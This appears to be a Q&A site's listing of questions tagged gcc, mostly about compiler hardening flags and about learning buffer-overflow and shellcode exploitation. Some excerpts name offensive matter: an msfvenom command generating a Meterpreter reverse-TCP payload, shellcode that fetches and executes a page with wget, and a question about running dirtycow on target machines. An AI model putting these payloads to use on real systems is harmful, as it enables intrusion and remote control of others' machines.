Questions tagged [gcc]
GCC is the GNU Compiler Collection. It's the de facto standard C compiler on Linux and supports many other languages and platforms as well.
31
questions
0
votes
0
answers
45
views
How do I prevent the random alignment of the instructions during debugging using gdb? Even tried turning off the optimization with -O0 in gcc
I have started with the book 'Hacking: The art of exploitation!'. I know some of you might suggest that it's pretty old... But I think great buildings withstand due to their strong foundational base. ...
1
vote
1
answer
57
views
Is switching my C/C++ compiler for security testing generally reliable?
If I am shipping a program to my customers which is compiled with GCC, but I want to test the security of the program using Clang, is this generally okay, or will I miss certain security bugs because ...
- 1,149
1
vote
2
answers
416
views
Linux x86_64 Assembly works standalone, but Segfaults when ran as shellcode in C
I wrote a NASM program that uses the execve system call to run wget inside a newly spawned shell and execute the retrieved page:
[bits 64]
global _start
section .text
_start:
xor rcx, rcx
...
- 992
1
vote
1
answer
505
views
gnu gcc source archives signed with expired GPG key?
I'm in the course of rescuing a legacy app that got left behind and turned out to be needed on rare occasions, one of which occurred yesterday. I need to rebuild some libraries and the libraries have ...
- 165
2
votes
1
answer
254
views
How do I compare the safety of a compiled program with optimization flag?
I would like to know how I can know which is the safest compilation line, that is:
Having several compilation lines in, for example, GCC, how do I know which one is more secure? Hardening would be a ...
- 21
1
vote
1
answer
509
views
Memory address problem in GNU Debugger
I'm new to gbd. I've wrote a simple program which will print hello world 10 times(I've listed the program in the screenshot). Then I've displayed the assembly language and set the break point to main ...
- 177
2
votes
0
answers
396
views
How to disabel relro to overwrite fini_array or .got.plt element?
I am reading the book Hacking: The art of exploitation and there is a format string exploit example which attempts to overwrite an address of the dtors
with the address of a shellcode environment ...
- 21
1
vote
0
answers
165
views
Confusing with the exact location of a shellcode in memory?
When we test a shellcode, we add it to a small C program and execute it in order to see it does the actual job we expect. But
most of the time, it crashes saying 'segmentation fault'. I got the same ...
1
vote
2
answers
5k
views
dirtycow exploit without gcc [closed]
I found many vulnerabilities but almost all of them require gcc which is not available on most of my target machines.
I was wondering if it's possible to run dirtycow without gcc installed or what is ...
- 67
3
votes
1
answer
525
views
the state of ASLR, PIE, SSP on Debian in 2018?
As far as I remember,
most Debian Wheezy packages were not compiled with those useful security flags (ASLR, PIE, SSP, and more).
Did the situation improve with Debian Squeeze or the upcoming Debian ...
- 81
1
vote
2
answers
3k
views
Unable to understand $EIP changes with Buffer Overflow
I am learning Buffer Overflow, so the question might seem silly but here it is.
I started with this very simple buggy program
int main(int argc, char *argv[])
{
char buf[128];
printf("You entered ...
- 191
4
votes
2
answers
5k
views
How does gcc compiler guard stack for stack overflow?
When we compile c program with gcc, we have to inlude "-z execstack" option to enable stack overflow attack.
The question I want to ask is how does gcc implement this .
Without this option, how does ...
- 61
5
votes
1
answer
3k
views
Compiling with GCC retpoline flags
As of version 8 (later backported to 7.3), GCC has added retpoline support [0]. While I understand that it is intended[citation needed] for use in kernel patching for Spectre (ie: [1][2]), that does ...
- 373
5
votes
1
answer
1k
views
How does GCC's -mmitigate-rop work?
GCC 6 has a flag, -mmitigate-rop, which compiles binaries in a way that reduces the number gadgets exploitable by ROP. The GCC documentation explaining this feature is minimal:
-mmitigate-rop
Try ...
- 66.5k
2
votes
0
answers
125
views
Function epilogue behavior since GCC 4.9.0
I'll use the following C code to explain my question:
#include <stdio.h>
int main(void) {
printf("foo\n");
return 0;
}
Before GCC 4.9.0, disassemblying it produces:
.LC0:
.string ...
- 121
5
votes
1
answer
955
views
Software mitigation for Spectre v2
I run Debian as my OS and Guix as my package manager. I also run (approximately) latest kernel built using Guix. According to spectre-meltdown-checker, my kernel has mitigation for v1, v2 and v3.
...
- 182
4
votes
2
answers
1k
views
Custom EXE Template Metasploit 64-bit ASM PE Syntax
I asked this previously then deleted since I think I asked the question without gearing it towards msfvenom and custom EXE templates.
There is a 64-bit Windows PE written in assembly that ships with ...
- 41
1
vote
1
answer
3k
views
Segmentation fault in shellcode
I generated a shell code with msfvenom
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c
When I compile my shell.c with gcc (version 6.3.0-16)
with this ...
- 19
2
votes
1
answer
1k
views
Shellcode not executing properly
I managed to get shellcode to be pointed to by eip by building my executable without safety measures.
However, it does not appear to execute.
Here is the C source of my vulnerable program:
#include ...
- 165
1
vote
1
answer
151
views
Issues testing buffer overflow
I am experimenting on my computer, so I wrote a vulnerable program in C to test buffer overflows on:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_password(...
- 165
72
votes
6
answers
19k
views
Is it dangerous to compile arbitrary C? [duplicate]
I have a small server and I would like to check compile times on C programs provided by users. The programs would never be run only compiled.
What risks are there to allowing users to compile ...
2
votes
5
answers
7k
views
How do I harden compilers (as suggested by Lynis)?
This article suggests to restrict compilers to root, but does not say how, and I couldn't find anything useful by searching the Web.
ii g++ 4:5.3.1-1ubuntu1 ...
- 1,801
6
votes
2
answers
3k
views
Is it possible to crack g++ rand()?
So, I have this:
I know that some code was used to generate a random sequence, and it looked roughly like this:
#include <iostream>
#include <string>
int main() {
const std::string ...
- 161
5
votes
1
answer
7k
views
Gentoo Hardened vs other distros
I was wondering if the hardened profile from Gentoo was really more secure than any other distro (like Debian, RHEL, Arch ...). For those who don't know, Gentoo hardened allows a system to be built ...
- 153
4
votes
0
answers
2k
views
How to exploit a stack-overflow without setting -mpreferred-stack-boundary=2
I have been playing with some wargames and I ported some of then on my Linux machine as well. I noticed that when not using -mpreferred-stack-boundary=2, gcc might compile "main" with an interesting ...
- 41
15
votes
3
answers
3k
views
Compiling a buffer overflow example in modern Linux?
I'm trying to compile a simple buffer overflow example on a Debian i386 VM. The executable builds ok, but EIP does not get overwritten correctly despite being supplied a sufficiently large input to ...
- 313
5
votes
2
answers
1k
views
Is compiling untrusted code safe?
I'm curious about compiling with gcc/g++/clang with the assumption that
headers and implementation files are user-provided, but not the build configuration.
(i.e., no cd lib && make)
What if ...
- 269
-2
votes
2
answers
1k
views
Cannot get simple shellcode runner to work [closed]
I'm just trying to execute shellcode directly from the command line. I send a simple 0x90 NOP and get a segmentation fault?
root@server:~# gcc shellcode.c -o shellrun -fno-stack-protector -z ...
- 21
1
vote
1
answer
4k
views
Exploit Compilation Problem [closed]
I am trying to compile the following exploit:
http://www.exploit-db.com/exploits/10613/
But get the following error:
local.c:12:22: fatal error: asm/page.h: No such file or directory
compilation ...
- 751
5
votes
1
answer
3k
views
Bypass va_randomize_space and stack-protector
Is a program compiled with the GCC -fstack-protector option and running in a Linux environment with the va_randomize_space kernel variable set to 1, totally protected against buffer overflow attacks?
...
- 153
69
votes
2
answers
31k
views
What is the most hardened set of options for GCC compiling C/C++?
What set of GCC options provide the best protection against memory corruption vulnerabilities such as Buffer Overflows, and Dangling Pointers? Does GCC provide any type of ROP chain mitigation? Are ...
- 1